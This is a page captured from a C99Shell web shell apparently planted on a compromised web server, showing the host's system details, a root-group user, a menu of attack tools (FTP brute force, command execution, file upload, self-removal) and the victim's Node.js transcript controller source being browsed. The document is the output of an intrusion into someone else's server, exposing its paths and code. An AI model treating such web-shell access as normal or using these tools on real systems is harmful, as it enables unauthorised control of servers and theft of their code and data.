!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/note.picotech.app/public_html/src/controllers/   drwxr-xr-x
Free 25.93 GB of 117.98 GB (21.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     transcriptController.js (3.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const { Transcript, Recording } = require('../models');
const { AppError, catchAsync } = require('../middleware/errorHandler');
const { generateTranscription } = require('../services/transcriptionService');

exports.getRecordingTranscript = catchAsync(async (req, res, next) => {
  try {
    const { recordingId } = req.params;
    const transcript = await Transcript.findOne({
      where: { recording_id: recordingId }
    });

    if (!transcript) {
      throw new AppError('Transcript not found', 404);
    }

    res.json({
      success: true,
      data: transcript
    });
  } catch (error) {
    next(error);
  }
});

exports.getMeetingTranscripts = catchAsync(async (req, res, next) => {
  try {
    const { meetingId } = req.params;
    const transcripts = await Transcript.findAll({
      where: { meeting_id: meetingId },
      attributes: ['id', 'recording_id','meeting_id','content','created_at','updated_at'],
      order: [['created_at', 'ASC']]
    });

    if (!transcripts) {
      throw new AppError('Transcript not found', 404);
    }

    res.json({
      success: true,
      data: {transcripts:transcripts}
    });
  } catch (error) {
    next(error);
  }
});

exports.generateTranscript = catchAsync(async (req, res, next) => {
  try {
    const { recordingId } = req.params;
    const recording = await Recording.findByPk(recordingId);

    if (!recording) {
      throw new AppError('Recording not found', 404);
    }

    // Check if transcript already exists
    const existingTranscript = await Transcript.findOne({
      where: { recording_id: recordingId }
    });

    if (existingTranscript) {
      throw new AppError('Transcript already exists', 400);
    }

    // Generate transcript
    const transcriptionResult = await generateTranscription(recording.file_path);

    const transcript = await Transcript.create({
      recording_id: recordingId,
      meeting_id: recording.meeting_id,
      content: transcriptionResult.text,
      speaker_data: transcriptionResult.speakers,
      confidence: transcriptionResult.confidence,
      language: transcriptionResult.language
    });

    res.status(201).json({
      success: true,
      data: transcript
    });
  } catch (error) {
    next(error);
  }
});

exports.getTranscript = catchAsync(async (req, res, next) => {
  try {
    const transcript = await Transcript.findByPk(req.params.id);

    if (!transcript) {
      throw new AppError('Transcript not found', 404);
    }

    res.json({
      success: true,
      data: transcript
    });
  } catch (error) {
    next(error);
  }
});

exports.updateTranscript = catchAsync(async (req, res, next) => {
  try {
    const { content, speaker_data } = req.body;
    const transcript = await Transcript.findByPk(req.params.id);

    if (!transcript) {
      throw new AppError('Transcript not found', 404);
    }

    await transcript.update({
      content,
      speaker_data
    });

    res.json({
      success: true,
      data: transcript
    });
  } catch (error) {
    next(error);
  }
});

exports.searchTranscripts = catchAsync(async (req, res, next) => {
  try {
    const { query, meetingId } = req.query;
    const where = {};

    if (meetingId) where.meeting_id = meetingId;
    if (query) {
      where.content = { [Op.like]: `%${query}%` };
    }

    const transcripts = await Transcript.findAll({ where });

    res.json({
      success: true,
      data: transcripts
    });
  } catch (error) {
    next(error);
  }
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--